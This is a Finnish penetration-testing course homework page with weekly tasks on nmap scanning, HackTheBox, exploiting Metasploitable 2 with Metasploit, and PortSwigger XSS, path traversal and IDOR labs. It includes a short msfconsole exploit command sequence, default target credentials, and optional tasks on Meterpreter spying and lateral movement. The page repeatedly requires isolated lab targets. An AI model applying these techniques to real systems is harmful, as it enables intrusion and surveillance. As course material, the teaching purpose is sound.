&lt;p>Läksyt ovat virallisia vasta, kun ne on vahvistettu (yleensä oppitunnin päätteeksi). Tämä on edistynyt kurssi, joten ohjelmaan tulee yleensä muutoksia kurssin aikana. Osa tehtävistä edellyttää huolellisuuden lisäksi tietoja ja taitoja työkalujen käytöstä, jottei synny vahinkoja - tee vasta, kun tiedät oikeat työtavat.&lt;/p>
&lt;p>Läksyt käydään läpi seuraavalla tapaamiskerralla, ratkotaan yhdessä ongelmia ja annetaan suullista palautetta. Arvosana kotitehtäväpaketista tulee vasta kurssin lopuksi, mutta tehtävät tulee silti palauttaa aina vuorokautta ennen seuraavia tunteja. Julkaiseminen on vapaaehtoista, mutta erittäin suositeltavaa. Jos et jostain syystä uskalla tai muuten halua julkaista, voit laittaa työn weppisivulle salasanan taakse (kaikille kotitehtäville sama salasana) ja jakaa tämän salasanan kurssilaisten kanssa. Jos tuntien yhteydessä järjestetään testejä läksyjen aiheista, niiden pisteet sisältyvät arvostelun kohtaan läksyt.&lt;/p>
&lt;p>Läksyt pitää tehdä tietokoneella kokeilemalla ja raportoida tapahtumien kulku, ellei kyseisessä alakohdassa erikseen muuta lue. Raportti tulee kirjoittaa samalla, kun työskentelee.&lt;/p>
&lt;p>Kaikki käytetyt lähteet tulee merkitä raporttiin: kurssin tehtäväsivu, kurssikavereiden raportit, man-sivut, kirjat. Mikäli tekoälyltä kysyy neuvoa, se on merkittävä lähteeksi. Tekoälyt hallusinoivat, tiedot on suositeltavaa tarkistaa. Tiivistelmiä tai esseitä ei saa generoida tekoälyllä eikä muilla vastaavilla tekniikoilla, vaan ne on kirjoitettava itse.&lt;/p>
&lt;p>Tehtäviä saa aloittaa vasta, kun on hyväksynyt kurssin säännöt.&lt;/p>
&lt;h3 id="h1-kybertappoketju">h1 Kybertappoketju&lt;/h3>
&lt;p>&lt;em>Tehtäviä saa aloittaa vasta, kun on hyväksynyt kurssin säännöt. Koneet on eristettävä Internetistä hyökkäysten harjoittelun ajaksi.&lt;/em>&lt;/p>
&lt;p>&lt;em>Tehtävät ovat virallisia vasta, kun ne on annettu tehtäväksi. Niitä ei tule aloittaa etukäteen, koska niiden sisältö voi vielä muuttua olennaisesti.&lt;/em>&lt;/p>
&lt;p>&lt;em>Update 2026-03-24 w13 Tue 1530: Lisäsin HTB VPN -vinkit. Merkkasin, että oikeustapausesta riittää vilkaisu.&lt;/em>&lt;/p>
&lt;ul>
&lt;li>x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Kannataa lisätä kustakin oma huomio, idea tai kysymys.)
&lt;ul>
&lt;li>&lt;a href="https://herrasmieshakkerit.fi/">Herrasmieshakkerit&lt;/a> (&lt;a href="https://hakkerit.libsyn.com/rss">RSS&lt;/a>) tai &lt;a href="https://darknetdiaries.com/episode/">Darknet Diaries&lt;/a> (&lt;a href="https://podcast.darknetdiaries.com/">RSS&lt;/a>) , yksi vapaavalintainen jakso jommasta kummasta. Voi kuunnella myös lenkillä, pyykiä viikatessa tms. Siisti koti / hyvä kunto kaupan päälle.&lt;/li>
&lt;li>&lt;a href="https://lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf">Hutchins et al 2011: Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains&lt;/a>, chapters &lt;em>Abstract&lt;/em>, 3.2 &lt;em>Intrusion Kill Chain&lt;/em>.&lt;/li>
&lt;li>€ Santos et al: The Art of Hacking (Video Collection): &lt;a href="https://learning.oreilly.com/videos/the-art-of/9780135767849/9780135767849-SPTT_04_00">4.3 Surveying Essential Tools for Active Reconnaissance&lt;/a>. Sisältää porttiskannauksen. 5 videota, yhteensä noin 20 min.&lt;/li>
&lt;li>&lt;a href="https://finlex.fi/fi/oikeus/kko/kko/2003/20030036">KKO 2003:36&lt;/a>. (Vain silmäily, ei tarvitse lukea kokonaan eikä varsinkaan tehdä syvällistä analyysia).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) Asenna Kali virtuaalikoneeseen. (Jos asennuksessa ei ole mitään ongelmia tai olet asentanut jo aiemmin, tarkkaa raporttia tästä alakohdasta ei tarvita. Kerro silloin kuitenkin, mikä versio ja millä asennustavalla. Jos on ongelmia, niin tarkka ja toistettava raportti).&lt;/li>
&lt;li>b) Irrota Kali-virtuaalikone verkosta. Todista testein, että kone ei saa yhteyttä Internetiin (esim. 'ping 8.8.8.8')&lt;/li>
&lt;li>c) Porttiskannaa 1000 tavallisinta tcp-porttia omasta koneestasi (nmap -T4 -A localhost). Selitä komennon paramterit. Analysoi ja selitä tulokset.&lt;/li>
&lt;li>d) Asenna kaksi vapaavalintaista demonia ja skannaa uudelleen. Analysoi ja selitä erot.&lt;/li>
&lt;li>e) Ratkaise vapaavalintainen kone HackTheBoxista. Omalle tasolle sopiva, useimmille varmaan Starting Pointista. Valitse kone, jota et ole ratkaissut vielä. Ei tunnilla näytetty Meow. (Propellihatuille: jos teet vaikeampia ei-starting-point koneita, niin retired tai vastaava kone, josta saa julkaista writeupin).&lt;/li>
&lt;/ul>
&lt;p>Vinkkejä&lt;/p>
&lt;ul>
&lt;li>Sivun tekeminen wepiin onnistuu helposti Githubilla. Karvinen 2023: &lt;a href="https://terokarvinen.com/2023/create-a-web-page-using-github/">Create a Web Page Using Github&lt;/a>&lt;/li>
&lt;li>Podcastien kuunteluun &lt;a href="https://antennapod.org/">AntennaPod&lt;/a> löytyy &lt;a href="https://f-droid.org/en/packages/de.danoeh.antennapod/">F-Droid:sta&lt;/a> ja Google Play:sta. Tietysti podcasteja voi kuunnella sadoilla muillakin ohjelmilla.&lt;/li>
&lt;li>Halutessasi voit käyttää myös muita virtualisointiympäristöjä kuin VirtualBoxia, esim Macilla UTM tai Linuxilla virt-manager (libvirt, qemu). Tämä edellyttää toki omaa soveltamista.&lt;/li>
&lt;li>Suosittelen Kaliin 4 GB muistia&lt;/li>
&lt;li>OffSec Ltd 2023: &lt;a href="https://www.kali.org/get-kali/#kali-virtual-machines">Prebuilt Virtual Machines&lt;/a>&lt;/li>
&lt;li>Tutustu tarvittaessa itse etsimiisi lähteisiin, kuten man-sivuihin ja ohjelmien dokumentaatioon.&lt;/li>
&lt;li>HackTheBox:n OpenVPN-yhteyden asennus (ulkomuistista)
&lt;ul>
&lt;li>Oikea HackTheBoxin alue on &amp;quot;Practice hands-on Labs&amp;quot; &lt;a href="https://app.hackthebox.com/home">https://app.hackthebox.com/home&lt;/a> (ei Academy)&lt;/li>
&lt;li>Tallenna ruutukaappaus säännöistä ennen aloitusta. HTB oikealla ylhäällä, kysymysmerkin alla.&lt;/li>
&lt;li>Lataa Starting Point foo.ovpn
&lt;ul>
&lt;li>Connect-nappi, HackTheBoxin oikeassa yläreunassa&lt;/li>
&lt;li>Oikealla ylhäällä &amp;quot;Connect&amp;quot;, &amp;quot;Starting point&amp;quot;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Tuo (import) yhteys Network Manager:iin
&lt;ul>
&lt;li>Network manager - Linuxissa ala/yläpalkissa tarjottimella (tray, notification area), naaras ethernet-portin kuva tai koneet haalaavat -ikoni (riippuen versiosta). Tai komentoriviltä 'nmcli'.&lt;/li>
&lt;li>VPN Connections: Create. &amp;quot;Import&amp;quot; on alimmaisena, ja valikkoa pitää kelata alaspäin.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>VPN päälle, testaus.
&lt;ul>
&lt;li>VPN päälle löytyy samasta Network Manager -kuvakkeesta.&lt;/li>
&lt;li>'ping 8.8.8.8' - pitäisi toimia (vastata) VPN pois päältä, ja lakata vastaamasta kun laitat VPN päälle.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Muista laittaa lähdeviitteet. Viittaa joka tehtävästä kurssiin ja kaikkiin muihinkin käyttämiisi lähteisiin.&lt;/li>
&lt;li>O'Reilly Learning videot ja kirjat pääset lukemaan ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston &lt;a href="https://libguides.haaga-helia.fi/az/databases">Haaga-Helia A-Z&lt;/a> kautta.&lt;/li>
&lt;li>Kun olet irroittanut Internetin ja valmiina skannaamaan, varmista. Kokeile, että Google tai DuckDuckGo ei aukea selaimella, että et voi pingata esim 8.8.8.8. Kokeile, että maalikoneesi vastaa pingiin. Jos maalikoneella on weppipalvelin, kannattaa katsoa selaimella, että sieltä aukeaa olettamasi sivu.&lt;/li>
&lt;li>Tietoja verkosta
&lt;ul>
&lt;li>ip a; ifconfig&lt;/li>
&lt;li>ip route&lt;/li>
&lt;li>ipcalc 10.0.0.1/24&lt;/li>
&lt;li>ping 8.8.8.8&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Ole huolellinen, irrota harjoituskoneet Internetistä skannausten ja hyökkäysten ajaksi. Mitään ulkopuolisia koneita ei saa skannata eikä mihinkään ulkopuolisiin koneisiin saa tunkeutua.&lt;/li>
&lt;li>Jokin tehtävä voi olla vaikea. Tee ja raportoi silloin kaikki mitä osaat. Listaa lähteet, joista hait ohjeita. Onko jotain vielä kokeiltavana? Mitä haasteita on vielä ratkaisun tiellä? Mitä virheimoituksia tai vastaavia tulee? Voit myös katsoa wepistä esimerkkiratkaisun - muista viitata lähteeseen ja merkitä, missä kohdassa katsoit ratkaisua. Ja katsotaan yhdessä tunnilla loput.&lt;/li>
&lt;li>Ongelmallisista kohdista raportoidaan erityisen tarkasti, jotta voimme antaa vinkkejä haasteisiin.&lt;/li>
&lt;/ul>
&lt;h3 id="h2-dora-the-explora">h2 DORA the Explora&lt;/h3>
&lt;p>&lt;em>Can you say TIBER-FI?&lt;/em>&lt;/p>
&lt;ul>
&lt;li>x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Lisää mukaan jokin oma havainto, idea tai kysymys)
&lt;ul>
&lt;li>Buuri 2026: &lt;a href="https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/buuri-2026-dora-and-threat-lead-penetration-testing--teros-pentest-course.pdf">DORA and TLPT testing - Lecture for Haaga-Helia on 31 March 2026&lt;/a> (pdf, 2 MB)&lt;/li>
&lt;li>&lt;a href="https://eur-lex.europa.eu/eli/reg/2022/2554/oj/eng">DORA (Regulation ... on digital operational resilience for the financial sector)&lt;/a> (vain nämä kaksi artiklaa):
&lt;ul>
&lt;li>Article 26 &amp;quot;Advanced testing of ICT tools, systems and processes based on TLPT&amp;quot;&lt;/li>
&lt;li>Article 27 &amp;quot;Requirements for testers for the carrying out of TLPT&amp;quot;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://www.suomenpankki.fi/globalassets/bof/en/money-and-payments/the-bank-of-finland-as-catalyst-payments-council/tiber-fi/tiber-fi-2.0-procedures-and-guidelines.pdf">TIBER-FI procedures and guidelines&lt;/a> (pdf, 1 MB) (vain tämä kohta):
&lt;ul>
&lt;li>5.4 Testing phase: Red team testing (johdantokappale suoraan 5.4 alta, &amp;quot;5.4.1 Red team test plan creation&amp;quot; alkuun asti)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Vapaaehtoinen bonus: Buuri 2026: &lt;a href="https://youtu.be/z6KIEEknKjM?si=7n8cNWynzMrEwdWZ">D26 - Releasing Your Inner TIBER in Regulated Adversary Simulations&lt;/a>. Video, 45 min. Disobey 2026.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) Asenna Metasploitable 2 virtuaalikoneeseen.&lt;/li>
&lt;li>b) Tee Kalin ja Metasploitablen välille virtuaaliverkko. Jos säätelet VirtualBoxista
&lt;ul>
&lt;li>Kali saa yhteyden Internettiin, mutta sen voi laittaa pois päältä&lt;/li>
&lt;li>Kalin ja Metasploitablen välillä on host-only network, niin että porttiskannatessa ym. koneet on eristetty intenetistä, mutta ne saavat yhteyden toisiinsa&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>c) Harjoittelemme omassa virtuaaliverkossa, jossa on Kali ja Metaspoitable. Osoita testein, että 1) koneet eivät saa yhteyttä Internetiin 2) Koneet saavat yhteyden toisiinsa.&lt;/li>
&lt;li>d) Etsi Metasploitable porttiskannaamalla (nmap -sn). Tarkista selaimella, että löysit oikean IP:n - Metasploitablen weppipalvelimen etusivulla lukee Metasploitable.&lt;/li>
&lt;li>e) Porttiskannaa Metasploitable huolellisesti ja kaikki portit (nmap -A -T4 -p-). Poimi 2-3 hyökkääjälle kiinnostavinta porttia. Analysoi ja selitä tulokset näiden porttien osalta. Voit hakea analyysin tueksi tietoa verkosta, muista merkitä lähteet.&lt;/li>
&lt;li>f) Vapaaehtoinen bonus: Sisään vaan. Pääsetkö murtautumaan Metasploitableen?&lt;/li>
&lt;li>g) Vapaaehtoinen bonus: jos haluat, voit jo kokeilla metasploit-hyökkäysohjelmaa omaan harjoitusmaaliisi. Tätä katsotaan myöhemmin yhdessäkin. (Muista irrottaa kone Internetistä kokeilujen ajaksi. 'sudo msfdb init', 'sudo msfconsole').&lt;/li>
&lt;/ul>
&lt;p>Vinkkejä&lt;/p>
&lt;ul>
&lt;li>Virtuaalikoneiisin voi asentaa uusia verkkokortteja vain, kun ne ovat sammuksissa&lt;/li>
&lt;li>Kannattaa lukea Valkamon artikkelista VirtualBox-osuus ennenkuin ryhdyt asentamaan virtuaalikoneita. Valkamo 2022: &lt;a href="https://tuomasvalkamo.com/PenTestCourse/week-2/">Hacking into a Target Using Metasploit&lt;/a>: Metasploitable&lt;/li>
&lt;li>VirtualBoxissa host-only-networking on kätevä. Voit laittaa Kaliin kaksi verkkokorttia, toinen NAT:lla Internetiin ja toinen host-only-network:n. Verkkoasetusten advanced-kohdasta voi vetää virtuaalisen verkkokaapelin irti ja kiinni, vaikka kone on päällä.&lt;/li>
&lt;li>Jos Metasploitable 2 -maali ei löydy omasta verkosta (arp, arpwatch, netdiscover, nmap -sn...), voit kirjatua sisään (msfadmin:msfadmin) ja 'ifconfig' tai 'ip addr'. Metasploitable 2:n kannattaa laittaa vain yksi &amp;quot;Host only networking&amp;quot; verkkokortti, se ei toimi itsestään kahden verkkokortin kanssa.&lt;/li>
&lt;/ul>
&lt;h3 id="h3-eternalhomework">h3 EternalHomework&lt;/h3>
&lt;ul>
&lt;li>x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva.)
&lt;ul>
&lt;li>€ Jaswal 2020: Mastering Metasploit - 4ed: Chapter 1: Approaching a Penetration Test Using Metasploit&lt;/a> (kohdasta &lt;a href="https://learning.oreilly.com/library/view/mastering-metasploit/9781838980078/B15076_01_Final_ASB_ePub.xhtml#_idParaDest-31">Conducting a penetration test with Metasploit&lt;/a> luvun loppuun eli &amp;quot;Summary&amp;quot; loppuun)&lt;/li>
&lt;li>Mitä 'nmap -sn' tekee? Älä arvaa, vaan perustele lähteillä. Mistä tiedät, että käyttämäsi lähde on luotettava?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>b) Tallenna porttiskannauksen tuloksia Metasploitin tietokantoihin. Skannaa niin, että Metasploitable tulee mukaan. Kannattaa ottaa mukaan ainakin versioskannaus -sV (joka on banner grabbing plus).&lt;/li>
&lt;li>c) Tarkastele Metasploitin tietokantoihin tallennettuja tietoja komennoilla &amp;quot;hosts&amp;quot; ja &amp;quot;services&amp;quot;. Kokeile suodattaa näitä listoja tai hakea niistä.&lt;/li>
&lt;li>d) Internet famous. Etsi Metasploitablen mukana tulevista hyökkäyksistä (en: exploits; search) sellainen, joka on ollut julkisuudessa.&lt;/li>
&lt;li>e) Vertaile nmap:n omaa tiedostoon tallennusta (-oA foo) ja db_nmap:n tallennusta tietokantoihin. Mitkä ovat eri tiedostomuotojen ja Metasploitin tietokannan hyvät puolet?&lt;/li>
&lt;li>f) Murtaudu Metasploitablen vsftpd-palveluun&lt;/li>
&lt;li>g) Kerää levittäytymisessä (lateral movement) tarvittavaa tietoa metasploitablesta. Analysoi tiedot. Selitä, miten niitä voisi hyödyntää.&lt;/li>
&lt;li>h) Murtaudu Metasploitableen jollain toisella tavalla. (Jos tämä kohta on vaikea, voit tarvittaessa turvautua verkosta löytyviin läpikävelyohjeisiin. Merkitse silloin raporttiin, missä määrin tarvitsit niitä).&lt;/li>
&lt;li>i) Demonstroi Meterpretrin ominaisuuksia.&lt;/li>
&lt;li>j) Tallenna shell-sessio tekstitiedostoon script-työkalulla (script -fa log001.txt) tai tmux:lla.&lt;/li>
&lt;li>k) Pivot point. Laita kaikki harjoituksen tiedostot (script -fa, nmap -oA...) samaan kansioon. Hae sopiva pivot point (sovellus, versio, osoite, MAC-numero) 'grep -r' -komennolla. Keksi uskottava esimerkkikysymys, johon haet vastausta.&lt;/li>
&lt;li>l) Attaaack! Mitä Mitre Attack taktiikoita ja tekniikoita käytit tässä harjoituksessa? (Tässä alakohdassa &amp;quot;Attaack!&amp;quot; ei tarvitse tehdä lisää testejä koneella, koska testit on jo tehty.)&lt;/li>
&lt;li>m) Vapaaehtoinen: Etsi esimerkki Mitre Attack proseduurista (procedure), jossa joku uhkatoimija on käyttänyt samoja tekniikoita.&lt;/li>
&lt;li>n) Vapaaehtoinen: Titityy. Saatko Metasploitableen tty-shellin, eli esimerkiksi avattua koko ruudulle piirtävän nano:n?&lt;/li>
&lt;li>o) Vapaaehtoinen, vaikea: Kokeile jotain kilpailevaa hyökkäystyökalua tai vihamielistä etäkäyttötyökalua, kuten &lt;a href="https://sliver.sh/">Sliver&lt;/a> tai Scarecrow.&lt;/li>
&lt;li>p) Vapaaehtoinen: Asenna ja korkkaa Metasploitable 3. Karvinen 2018: &lt;a href="https://terokarvinen.com/2018/install-metasploitable-3-vulnerable-target-computer/">Install Metasploitable 3 – Vulnerable Target Computer&lt;/a>&lt;/li>
&lt;li>q) Vapaaehtoinen: Peekaboo. Demonstroi, kuinka hyökkääjä vakoilee meterpreterillä. Kuuntele mikrofonilla, ota kuvia tai videota kameralla. (Huolehdi, ettei ulkopuolisia joudu kuunnelluksi tai katselluksi.)&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Vinkkejä&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>O'Reilly Learning videot ja kirjat pääset lukemaan ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston kautta.&lt;/li>
&lt;li>Jos Metasploitable 2 -maali ei löydy omasta verkosta (arp, arpwatch, netdiscover, nmap -sn...), voit kirjatua sisään (msfadmin:msfadmin) ja 'ifconfig' tai 'ip addr'. Metasploitable 2:n kannattaa laittaa vain yksi &amp;quot;Host only networking&amp;quot; verkkokortti, se ei toimi itsestään kahden verkkokortin kanssa.&lt;/li>
&lt;li>Murtautumiseen Metasploitable 2:n löytyy esimerkkiratkaisuja &lt;a href="https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide">Metasploitable 2 Exploitability Guide&lt;/a>. Tämä on läpikävelyohje, joten kannattaa yrittää ensin itse.&lt;/li>
&lt;li>&lt;a href="https://attack.mitre.org/">Mitre Attack Enterprise Matrix&lt;/a>
&lt;ul>
&lt;li>Tactic, välitavoitteita, esim. &lt;a href="https://attack.mitre.org/tactics/TA0003/">TA0003 Persistence&lt;/a>&lt;/li>
&lt;li>Techique, keinoja, esim. &lt;a href="https://attack.mitre.org/techniques/T1189/">T1189 Drive-by Compromise&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://attack.mitre.org/resources/faq/">Mitre FAQ&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>grep -ir
&lt;ul>
&lt;li>grep -ir -C 3 --color=always terokarvinen.com|less -R&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>MsfConsole vinkit (ulkomuistista)&lt;/strong>&lt;/p>
&lt;p>Tässä siis ulkomuistista, voit etsiä näistä lisätietoa ja oikean kirjoitusasun.&lt;/p>
&lt;pre>&lt;code>$ sudo msfdb init
$ sudo msfconsole
msf&amp;gt; db_nmap localhost
msf&amp;gt; services
msf&amp;gt; hosts
msf&amp;gt;
msf&amp;gt; workspaces
msf&amp;gt; sessions
msf&amp;gt; sessions --help
msf&amp;gt;
msf&amp;gt; search vsftpd
msf&amp;gt; use 0
msf&amp;gt; setg RHOSTS 127.0.0.1 # huolellisesti, tähän hyökätään kohta
msf&amp;gt;
msf&amp;gt; show options
msf&amp;gt; exploit
msf&amp;gt;
msf&amp;gt; sessions 1
shell
ctrl-Z
msf&amp;gt; session -u 1
&lt;/code>&lt;/pre>
&lt;h3 id="taysin-laillinen-sertifikaatti">Täysin Laillinen Sertifikaatti&lt;/h3>
&lt;ul>
&lt;li>x) Lue/katso ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista - ei pitkiä esseitä. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys.)
&lt;ul>
&lt;li>OWASP 2021: OWASP Top 10:2021
&lt;ul>
&lt;li>&lt;a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/">A01:2021 – Broken Access Control &lt;/a> (IDOR ja path traversal ovat osa tätä)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>PortSwigget Academy:
&lt;ul>
&lt;li>&lt;a href="https://portswigger.net/web-security/access-control/idor">Insecure direct object references (IDOR)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://portswigger.net/web-security/file-path-traversal">Path traversal&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://portswigger.net/web-security/cross-site-scripting">Cross-site scripting&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) Totally Legit Sertificate. Asenna OWASP ZAP, generoi CA-sertifikaatti ja asenna se selaimeesi. Laita ZAP proxyksi selaimeesi. Laita ZAP sieppaamaan myös kuvat, niitä tarvitaan tämän kerran kotitehtävissä. Osoita, että hakupyynnöt ilmestyvät ZAP:n käyttöliittymään. (Ei toimine localhost:lla ilman Foxyproxya)&lt;/li>
&lt;li>b) Kettumaista. Asenna &amp;quot;FoxyProxy Standard&amp;quot; Firefox Addon, ja lisää ZAP proxyksi siihen. Käytä FoxyProxyn &amp;quot;Patterns&amp;quot; -toimintoa, niin että vain valitsemasi weppisivut ohjataan Proxyyn. (Läksyssä ohjataan varmaankin PortSwigger Labs ja localhost.)&lt;/li>
&lt;li>PortSwigger Labs. Ratkaise tehtävät. Selitä ratkaisusi: mitä palvelimella tapahtuu, mitä eri osat tekevät, miten hyökkäys löytyi, mistä vika johtuu. Kannattaa käyttää ZAPia, vaikka malliratkaisut käyttävät harjoitusten tekijän maksullista ohjelmaa. Monet tehtävät voi ratkaista myös pelkällä selaimella. Malliratkaisun kopioiminen ZAP:n tai selaimeen ei ole vastaus tehtävään, vaan ratkaisu ja haavoittuvuuden etsiminen on selitettävä ja perusteltava.
&lt;ul>
&lt;li>Cross Site Scripting (XSS)
&lt;ul>
&lt;li>c) &lt;a href="https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded">Reflected XSS into HTML context with nothing encoded&lt;/a>&lt;/li>
&lt;li>d) &lt;a href="https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded">Stored XSS into HTML context with nothing encoded&lt;/a>&lt;/li>
&lt;li>e) Selitä esimerkin avulla, mitä hyökkääjä hyötyy XSS-hyökkäyksestä. Alert(&amp;quot;Hei Tero!&amp;quot;) ei vielä tarjoa kummoista pääsyä. (Tässä alakohdassa ei tarvitse tehdä testejä tietokoneella, pelkkä lyhyt ja selkeä selitys riittää.)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Path traversal
&lt;ul>
&lt;li>f) &lt;a href="https://portswigger.net/web-security/file-path-traversal/lab-simple">File path traversal, simple case&lt;/a>. Laita tarvittaessa Zapissa kuvien sieppaus päälle.&lt;/li>
&lt;li>g) &lt;a href="https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass">File path traversal, traversal sequences blocked with absolute path bypass&lt;/a>&lt;/li>
&lt;li>h) &lt;a href="https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively">File path traversal, traversal sequences stripped non-recursively&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Insecure Direct Object Reference (IDOR)
&lt;ul>
&lt;li>i) &lt;a href="https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references">Insecure direct object references&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>j) Vapaaehtoinen, helppo: Asenna &lt;a href="https://github.com/ffuf/pencode">pencode&lt;/a> ja muunna sillä jokin merkkijono (encode a string).&lt;/li>
&lt;li>k) Vapaaehtoinen: Mitmproxy. Asenna MitmProxy. Esittele sitä terminaalissa (TUI). Ota TLS-purku käyttöön. Poimi historiasta hakupyyntö, muokkaa sitä ja lähetä uudelleen.&lt;/li>
&lt;li>l) Vapaaehtoinen: Ratkaise lisää PortSwigger Labs -tehtäviä. Kannattaa tehdä helpoimmat &amp;quot;Apprentice&amp;quot; -tason tehtävät ensin.&lt;/li>
&lt;/ul>
&lt;p>Vinkit&lt;/p>
&lt;ul>
&lt;li>Firefox ei enää ohjaa proxyyn liikennettä mihinkään 127-alkuiseen IP-osoitteeseen eikä localhostiin. Mutta Foxyproxyn avulla se onnistuu.&lt;/li>
&lt;li>Zap asennus
&lt;ul>
&lt;li>Nykyisin Kalissa 'sudo apt-get install zaproxy', 'zaproxy' näytti toimivan, joten kannattaa kokeilla sitä ensin.&lt;/li>
&lt;li>&lt;a href="https://www.zaproxy.org/download/">OWASP ZAP Download-sivun&lt;/a> sopivin JAR on &amp;quot;Cross Platform Package&amp;quot;, noin 250 MB.&lt;/li>
&lt;li>Kalissa 'sudo apt-get install zaproxy'&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Proxya voi testata vaikkapa Metasploitablen weppipalveluiden kanssa. Tai &lt;a href="https://terokarvinen.com/2024/webgoat-podman/">asentaa WebGoatin Podmaniin&lt;/a>. Tai käyttää läksyn PortSwigger Labsin harjoituksia.
&lt;ul>
&lt;li>Älä tee hyökkäyksiä mihinkään muualle kuin harjoitusmaaleihin&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>ZAP TLS-yhteyksien avaamiseen CA-sertifikaatti
&lt;ul>
&lt;li>Löytyy Tools: Options: Network alta, hakusanaksi &amp;quot;Certificate&amp;quot;.
&lt;ul>
&lt;li>Joissain versioissa haku ei suodata listaa, vaan värittää osumat oranssilla. Ja tietysti oikea sertifikaatti on piilossa, niin että pitää klikkaamalla avata listaa. Sertifikaattikohtia on kaksi, tässä turha asiakkaan sertifikaatti ja oikea, tarvittava palvelimen sertifikaatti (Server Certificate tms).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Firefoxissa Settings ja hakusanaksi &amp;quot;Certificate&amp;quot;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>ZAP:n tärkein toiminto: Requester tab.
&lt;ul>
&lt;li>Löytyy historiasta oikeaa nappia painamalla. Myös Ctrl-W.&lt;/li>
&lt;li>Muokkaa hakupyyntöä ja lähetä. Vastaus näkyy vieresssä. Korjaa ja lähetä uudelleen.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>ZAP hakupyynnön pysäytys
&lt;ul>
&lt;li>Vain, jos Requester eli saman pyynnön uudelleenlähetys ei toimi.&lt;/li>
&lt;li>Puussa olevista osoitteista oikeaa nappia, menusta &amp;quot;Break...&amp;quot;&lt;/li>
&lt;li>Tee pyyntö selaimella&lt;/li>
&lt;li>Pyyntö näkyy ZAPissa oikealla ylhäällä &amp;quot;Break&amp;quot; välilehdellä.&lt;/li>
&lt;li>Muokaa pyynnön tekstiä, lähetä eteenpäin yläreunan työkalupallin Play-symbolia klikkaamalla&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>ZAP kuvien sieppaus muistaakseni Options: Display: ...images.
&lt;ul>
&lt;li>Osa tässäkin läksynä olevista harjoituksista edellyttää, että kuvien sieppaus on päällä.&lt;/li>
&lt;li>Monissa ZAP:n versioissa jättää kokonaan kuvat näyttämättä oletuksena.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>PortSwiggerin tehtävissä voi käyttää välimiesproxyna ZAP:ia tai MitmProxya. Ei siis tarvitse ostaa noiden harjoitusten tekijän kuuluisaa ohjelmaa.&lt;/li>
&lt;li>Pencoder - loistava ohjelma stringien muunteluun fuff:n tekijältä. Esim. URLEncode, base64...
&lt;ul>
&lt;li>Pencoder asennus ulkomuistista: hae Github-sivu &amp;quot;fuff pencode&amp;quot;, Releases, pencode*linux_amd64.tar.gz, pura paketti, aja valmis binääri, kopioi se /usr/local/bin/.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Viittaa
&lt;ul>
&lt;li>Viittasithan kurssiin ja tehtäväsivuun?&lt;/li>
&lt;li>Viittasithan kaikkiin käyttämiisi artikkeleihin?&lt;/li>
&lt;li>Viittasithan muiden tehtäväraportteihin, jos käytit lähteenä?&lt;/li>
&lt;li>Videoihin, man-sivuihin, ohjelmiin, StackOverflowhun...&lt;/li>
&lt;li>Viittasithan kaikkiin muihinkin lähteisiin?&lt;/li>
&lt;/ul>
&lt;/li>
